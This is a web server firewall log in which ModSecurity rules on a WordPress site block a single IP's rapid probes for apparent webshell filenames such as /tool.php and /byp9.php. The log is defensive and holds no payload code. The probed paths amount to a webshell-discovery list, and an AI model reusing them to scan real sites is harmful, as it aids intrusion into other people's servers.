[Tue Mar 17 09:28:53.931937 2026] [:error] [pid 45915:tid 45937] [client 72.146.42.181:20590] [client 72.146.42.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/app.php"] [unique_id "abiuVZh7U84ydzcrcnc8PQAAAAg"]
[Tue Mar 17 09:29:00.599388 2026] [:error] [pid 22541:tid 22550] [client 72.146.42.181:20568] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahiqq.php"] [unique_id "abiuXKS6JNY1-CTsTA9IiwAAAQQ"]
[Tue Mar 17 09:29:01.977744 2026] [:error] [pid 22541:tid 22566] [client 72.146.42.181:33768] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahiqq.php"] [unique_id "abiuXaS6JNY1-CTsTA9IkQAAARQ"]
[Tue Mar 17 09:29:02.663553 2026] [:error] [pid 15011:tid 15061] [client 72.146.42.181:12594] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahiqq.php"] [unique_id "abiuXsNtgHlAHiPlDyoXXgAAAcw"]
[Tue Mar 17 09:29:03.582321 2026] [:error] [pid 22541:tid 22568] [client 72.146.42.181:11751] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ahiqq.php"] [unique_id "abiuX6S6JNY1-CTsTA9InAAAARY"]
[Tue Mar 17 09:29:04.940138 2026] [:error] [pid 15013:tid 15091] [client 72.146.42.181:29213] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "abiuYFZc-p7DonmJmm2rsAAAAg4"]
[Tue Mar 17 09:29:05.664102 2026] [:error] [pid 45915:tid 45931] [client 72.146.42.181:30832] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "abiuYZh7U84ydzcrcnc8UAAAAAI"]
[Tue Mar 17 09:29:07.234734 2026] [:error] [pid 45915:tid 45944] [client 72.146.42.181:30829] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "abiuY5h7U84ydzcrcnc8WQAAAA8"]
[Tue Mar 17 09:29:09.589543 2026] [:error] [pid 45916:tid 45972] [client 72.146.42.181:13101] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "abiuZbiS53PnClk_C9BKwAAAAEo"]
[Tue Mar 17 09:29:10.756299 2026] [:error] [pid 45916:tid 45967] [client 72.146.42.181:29185] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an9.php"] [unique_id "abiuZriS53PnClk_C9BKyAAAAEU"]
[Tue Mar 17 09:29:11.420800 2026] [:error] [pid 22541:tid 22553] [client 72.146.42.181:17683] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an9.php"] [unique_id "abiuZ6S6JNY1-CTsTA9IugAAAQc"]
[Tue Mar 17 09:29:11.968509 2026] [:error] [pid 22541:tid 22559] [client 72.146.42.181:20571] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an9.php"] [unique_id "abiuZ6S6JNY1-CTsTA9IuwAAAQ0"]
[Tue Mar 17 09:29:13.264679 2026] [:error] [pid 15013:tid 15093] [client 72.146.42.181:12558] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an9.php"] [unique_id "abiuaVZc-p7DonmJmm2rsQAAAhA"]
[Tue Mar 17 09:29:14.076548 2026] [:error] [pid 45915:tid 45933] [client 72.146.42.181:32831] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqups.php"] [unique_id "abiuaph7U84ydzcrcnc8cAAAAAQ"]
[Tue Mar 17 09:29:15.075183 2026] [:error] [pid 14817:tid 14828] [client 72.146.42.181:33785] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqups.php"] [unique_id "abiua-BWVgTpR3dKOga2yAAAAUI"]
[Tue Mar 17 09:29:15.635505 2026] [:error] [pid 22541:tid 22551] [client 72.146.42.181:24505] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqups.php"] [unique_id "abiua6S6JNY1-CTsTA9IwgAAAQU"]
[Tue Mar 17 09:29:16.197033 2026] [:error] [pid 22541:tid 22570] [client 72.146.42.181:33773] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aqups.php"] [unique_id "abiubKS6JNY1-CTsTA9IxQAAARg"]
[Tue Mar 17 09:29:16.711467 2026] [:error] [pid 45915:tid 45935] [client 72.146.42.181:12587] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bpltp.php"] [unique_id "abiubJh7U84ydzcrcnc8egAAAAY"]
[Tue Mar 17 09:29:17.249599 2026] [:error] [pid 45915:tid 45950] [client 72.146.42.181:48028] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bpltp.php"] [unique_id "abiubZh7U84ydzcrcnc8ewAAABU"]
[Tue Mar 17 09:29:17.855934 2026] [:error] [pid 15013:tid 15088] [client 72.146.42.181:31759] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bpltp.php"] [unique_id "abiubVZc-p7DonmJmm2rtQAAAgs"]
[Tue Mar 17 09:29:18.619996 2026] [:error] [pid 14817:tid 14833] [client 72.146.42.181:24451] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bpltp.php"] [unique_id "abiubuBWVgTpR3dKOga2yQAAAUc"]
[Tue Mar 17 09:29:19.567220 2026] [:error] [pid 45915:tid 45938] [client 72.146.42.181:43009] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp9.php"] [unique_id "abiub5h7U84ydzcrcnc8hwAAAAk"]
[Tue Mar 17 09:29:20.226761 2026] [:error] [pid 45915:tid 45931] [client 72.146.42.181:43454] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp9.php"] [unique_id "abiucJh7U84ydzcrcnc8igAAAAI"]
[Tue Mar 17 09:29:20.957446 2026] [:error] [pid 15013:tid 15079] [client 72.146.42.181:17708] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp9.php"] [unique_id "abiucFZc-p7DonmJmm2rtwAAAgI"]
[Tue Mar 17 09:29:21.705547 2026] [:error] [pid 45916:tid 45974] [client 72.146.42.181:14187] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp9.php"] [unique_id "abiucbiS53PnClk_C9BK4wAAAEw"]
[Tue Mar 17 09:29:22.719351 2026] [:error] [pid 15013:tid 15096] [client 72.146.42.181:30834] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs9.php"] [unique_id "abiuclZc-p7DonmJmm2ruQAAAhM"]
[Tue Mar 17 09:29:23.593678 2026] [:error] [pid 45916:tid 45977] [client 72.146.42.181:14661] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs9.php"] [unique_id "abiuc7iS53PnClk_C9BK6QAAAE8"]
[Tue Mar 17 09:29:24.462853 2026] [:error] [pid 45915:tid 45941] [client 72.146.42.181:30816] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs9.php"] [unique_id "abiudJh7U84ydzcrcnc83AAAAAw"]
[Tue Mar 17 09:29:25.410447 2026] [:error] [pid 45915:tid 45929] [client 72.146.42.181:12600] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs9.php"] [unique_id "abiudZh7U84ydzcrcnc83wAAAAA"]
[Tue Mar 17 09:29:26.295714 2026] [:error] [pid 15013:tid 15097] [client 72.146.42.181:20057] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/genco.php"] [unique_id "abiudlZc-p7DonmJmm2rugAAAhQ"]
[Tue Mar 17 09:29:28.775470 2026] [:error] [pid 45915:tid 45936] [client 72.146.42.181:12579] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/genco.php"] [unique_id "abiueJh7U84ydzcrcnc85gAAAAc"]
[Tue Mar 17 09:29:31.385481 2026] [:error] [pid 15162:tid 15190] [client 72.146.42.181:14706] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/genco.php"] [unique_id "abiue7kCW4399PnBfYSfegAAAlc"]
[Tue Mar 17 09:29:32.703554 2026] [:error] [pid 15162:tid 15185] [client 72.146.42.181:13077] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/genco.php"] [unique_id "abiufLkCW4399PnBfYSffQAAAlI"]
[Tue Mar 17 09:29:33.329933 2026] [:error] [pid 22541:tid 22555] [client 72.146.42.181:43449] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p23duw.php"] [unique_id "abiufaS6JNY1-CTsTA9I1gAAAQk"]
[Tue Mar 17 09:29:34.796379 2026] [:error] [pid 22541:tid 22567] [client 72.146.42.181:12576] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p23duw.php"] [unique_id "abiufqS6JNY1-CTsTA9I2QAAARU"]
[Tue Mar 17 09:29:36.009145 2026] [:error] [pid 15011:tid 15069] [client 72.146.42.181:48009] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p23duw.php"] [unique_id "abiugMNtgHlAHiPlDyoXfwAAAdQ"]
[Tue Mar 17 09:29:36.840464 2026] [:error] [pid 45916:tid 45983] [client 72.146.42.181:12589] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p23duw.php"] [unique_id "abiugLiS53PnClk_C9BK8gAAAFU"]
[Tue Mar 17 09:29:38.336387 2026] [:error] [pid 15013:tid 15089] [client 72.146.42.181:33771] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu9.php"] [unique_id "abiuglZc-p7DonmJmm2rygAAAgw"]
[Tue Mar 17 09:29:40.640546 2026] [:error] [pid 15011:tid 15070] [client 72.146.42.181:31857] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu9.php"] [unique_id "abiuhMNtgHlAHiPlDyoXhAAAAdU"]
[Tue Mar 17 09:29:41.523959 2026] [:error] [pid 46020:tid 46044] [client 72.146.42.181:19070] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu9.php"] [unique_id "abiuhX-nCcd9BdzGdLdMzwAAANY"]
[Tue Mar 17 09:29:42.267085 2026] [:error] [pid 45915:tid 45933] [client 72.146.42.181:13116] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu9.php"] [unique_id "abiuhph7U84ydzcrcnc89AAAAAQ"]
[Tue Mar 17 09:29:42.975145 2026] [:error] [pid 22541:tid 22563] [client 72.146.42.181:12554] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu8.php"] [unique_id "abiuhqS6JNY1-CTsTA9I5wAAARE"]
[Tue Mar 17 09:29:44.525585 2026] [:error] [pid 45915:tid 45947] [client 72.146.42.181:48001] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu8.php"] [unique_id "abiuiJh7U84ydzcrcnc9BwAAABI"]
[Tue Mar 17 09:29:45.342519 2026] [:error] [pid 46020:tid 46041] [client 72.146.42.181:43427] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu8.php"] [unique_id "abiuiX-nCcd9BdzGdLdM2QAAANM"]
[Tue Mar 17 09:29:46.042403 2026] [:error] [pid 15011:tid 15060] [client 72.146.42.181:35514] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu8.php"] [unique_id "abiuisNtgHlAHiPlDyoXpQAAAcs"]
[Tue Mar 17 09:29:47.158352 2026] [:error] [pid 45916:tid 45973] [client 72.146.42.181:19033] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "abiui7iS53PnClk_C9BK-QAAAEs"]
[Tue Mar 17 09:29:48.275097 2026] [:error] [pid 22541:tid 22567] [client 72.146.42.181:35461] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "abiujKS6JNY1-CTsTA9I7wAAARU"]
[Tue Mar 17 09:29:48.821243 2026] [:error] [pid 45916:tid 45967] [client 72.146.42.181:30311] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "abiujLiS53PnClk_C9BLAQAAAEU"]
[Tue Mar 17 09:29:49.525704 2026] [:error] [pid 45916:tid 45963] [client 72.146.42.181:19008] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "abiujbiS53PnClk_C9BLBAAAAEE"]
[Tue Mar 17 09:29:50.621062 2026] [:error] [pid 45915:tid 45947] [client 72.146.42.181:29191] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "abiujph7U84ydzcrcnc9JAAAABI"]
[Tue Mar 17 09:29:51.472194 2026] [:error] [pid 45915:tid 45937] [client 72.146.42.181:13108] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "abiuj5h7U84ydzcrcnc9KQAAAAg"]
[Tue Mar 17 09:29:52.186203 2026] [:error] [pid 15011:tid 15063] [client 72.146.42.181:48008] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "abiukMNtgHlAHiPlDyoXrwAAAc4"]
[Tue Mar 17 09:29:52.807995 2026] [:error] [pid 45916:tid 45965] [client 72.146.42.181:30296] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "abiukLiS53PnClk_C9BLEAAAAEM"]
[Tue Mar 17 09:29:53.814409 2026] [:error] [pid 45915:tid 45934] [client 72.146.42.181:29186] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "abiukZh7U84ydzcrcnc9LwAAAAU"]
[Tue Mar 17 09:29:54.492532 2026] [:error] [pid 15013:tid 15092] [client 72.146.42.181:48475] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "abiuklZc-p7DonmJmm2rzwAAAg8"]
[Tue Mar 17 09:29:56.411637 2026] [:error] [pid 46020:tid 46022] [client 72.146.42.181:38246] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "abiulH-nCcd9BdzGdLdM2wAAAMA"]
